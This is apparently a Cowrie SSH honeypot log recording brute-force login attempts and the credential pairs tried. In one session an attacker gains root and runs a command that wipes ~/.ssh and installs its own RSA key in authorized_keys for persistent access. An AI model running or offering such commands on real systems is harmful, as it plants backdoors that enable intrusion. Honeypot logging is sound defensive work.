{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":44008,"dst_ip":"159.203.135.109","dst_port":22,"session":"515c2aa3f4d6","protocol":"ssh","message":"New connection: 103.193.178.240:44008 (159.203.135.109:22) [session: 515c2aa3f4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:05.237981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:05.243639Z","src_ip":"103.193.178.240","session":"515c2aa3f4d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:05.491332Z","src_ip":"103.193.178.240","session":"515c2aa3f4d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:06.517019Z","src_ip":"103.193.178.240","session":"515c2aa3f4d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:08.397212Z","src_ip":"103.193.178.240","session":"515c2aa3f4d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":44016,"dst_ip":"159.203.135.109","dst_port":22,"session":"852938994f9f","protocol":"ssh","message":"New connection: 103.193.178.240:44016 (159.203.135.109:22) [session: 852938994f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:08.660990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:08.666120Z","src_ip":"103.193.178.240","session":"852938994f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:08.928597Z","src_ip":"103.193.178.240","session":"852938994f9f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:09.957571Z","src_ip":"103.193.178.240","session":"852938994f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:10.283737Z","src_ip":"103.193.178.240","session":"9112ea3cf072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:10.289346Z","src_ip":"103.193.178.240","session":"852938994f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":46814,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e9fd9ca5125","protocol":"ssh","message":"New connection: 103.134.154.36:46814 (10.17.0.5:22) [session: 4e9fd9ca5125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:23.141958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:23.147166Z","src_ip":"103.134.154.36","session":"4e9fd9ca5125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:23.384842Z","src_ip":"103.134.154.36","session":"4e9fd9ca5125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rtorrent","password":"password","message":"login attempt [rtorrent/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:24.369060Z","src_ip":"103.134.154.36","session":"4e9fd9ca5125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:25.608005Z","src_ip":"103.134.154.36","session":"4e9fd9ca5125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":42296,"dst_ip":"10.17.0.5","dst_port":22,"session":"900723527bb3","protocol":"ssh","message":"New connection: 163.7.6.74:42296 (10.17.0.5:22) [session: 900723527bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:26.993619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:26.997681Z","src_ip":"163.7.6.74","session":"900723527bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:27.255668Z","src_ip":"163.7.6.74","session":"900723527bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ela","password":"Ela","message":"login attempt [ela/Ela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:28.314423Z","src_ip":"163.7.6.74","session":"900723527bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:29.574469Z","src_ip":"163.7.6.74","session":"900723527bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":46350,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d7f1dd3e3fd","protocol":"ssh","message":"New connection: 165.154.6.89:46350 (10.17.0.5:22) [session: 3d7f1dd3e3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:38.538877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:38.543872Z","src_ip":"165.154.6.89","session":"3d7f1dd3e3fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:38.759608Z","src_ip":"165.154.6.89","session":"3d7f1dd3e3fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vip1","password":"vip11234","message":"login attempt [vip1/vip11234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:39.653692Z","src_ip":"165.154.6.89","session":"3d7f1dd3e3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:40.872148Z","src_ip":"165.154.6.89","session":"3d7f1dd3e3fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":52042,"dst_ip":"159.203.135.109","dst_port":22,"session":"f798e29c9546","protocol":"ssh","message":"New connection: 49.49.239.64:52042 (159.203.135.109:22) [session: f798e29c9546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:43.884336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:43.888746Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:44.145779Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@2025","message":"login attempt [root/admin@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:45.205805Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:45.755186Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:45.758389Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:45.762004Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:46.021220Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:46.574576Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:46.578146Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:46.840479Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:46.843071Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":52054,"dst_ip":"159.203.135.109","dst_port":22,"session":"780b78bd96e1","protocol":"ssh","message":"New connection: 49.49.239.64:52054 (159.203.135.109:22) [session: 780b78bd96e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:47.096301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:47.101616Z","src_ip":"49.49.239.64","session":"780b78bd96e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:47.360836Z","src_ip":"49.49.239.64","session":"780b78bd96e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:48.429795Z","src_ip":"49.49.239.64","session":"780b78bd96e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":57142,"dst_ip":"159.203.135.109","dst_port":22,"session":"79fa1d3c7ce6","protocol":"ssh","message":"New connection: 2.57.122.96:57142 (159.203.135.109:22) [session: 79fa1d3c7ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:48.665787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:48.690918Z","src_ip":"2.57.122.96","session":"79fa1d3c7ce6","protocol":"ssh"}
